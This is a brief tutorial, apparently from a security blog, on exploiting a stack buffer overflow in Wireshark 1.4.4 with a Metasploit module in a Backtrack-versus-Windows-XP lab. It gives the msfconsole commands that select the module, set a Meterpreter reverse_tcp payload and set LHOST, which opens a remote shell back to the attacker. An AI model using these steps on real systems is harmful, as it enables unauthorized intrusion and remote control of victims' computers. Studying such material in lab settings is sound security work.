Hack Windows PC using Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (remote)

This module exploits a stack buffer overflow in Wireshark <= 1.4.4 by sending a malicious packet.

Exploit Targets

Wireshark 1.4.4

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/multi/misc/wireshark_packet_dect

Msf exploit (wireshark_packet_dect)>set payload windows/meterpreter/reverse_tcp

Msf exploit (wireshark_packet_dect)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (wireshark_packet_dect)>exploit    

Before running the exploit command, let say that the attacker now still collecting data using their Wireshark tool like the picture below.